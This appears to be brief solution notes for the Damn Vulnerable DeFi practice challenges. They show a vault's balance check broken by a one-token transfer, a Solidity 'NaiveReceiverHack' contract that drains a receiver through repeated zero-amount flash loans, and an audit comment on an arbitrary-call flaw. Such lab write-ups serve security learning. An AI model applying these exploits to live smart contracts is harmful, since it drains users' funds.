Damn Vulnerable DeFi

function flashLoan(){
  // ...
  if (convertToShares(totalSupply) != balanceBefore) revert InvalidBalance(); // enforce ERC4626 requirement
  // ...
}

await token.connect(player).transfer(vault.address, 1)

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import { IERC3156FlashBorrower, IERC3156FlashLender } from "@openzeppelin/contracts/interfaces/IERC3156.sol";

contract NaiveReceiverHack {
    address private constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
    constructor(address _pool, address _receiver) {
        for (uint256 i = 0; i < 10; i++) {
            IERC3156FlashLender(_pool).flashLoan(
                IERC3156FlashBorrower(_receiver), ETH, 0, "0x"
            );
        }
    }
}

function flashLoan(){
  // ...
  // @audit-issue Execute abitraty call to any contract on behald of the pool
  target.functionCall(data);
  // ...
}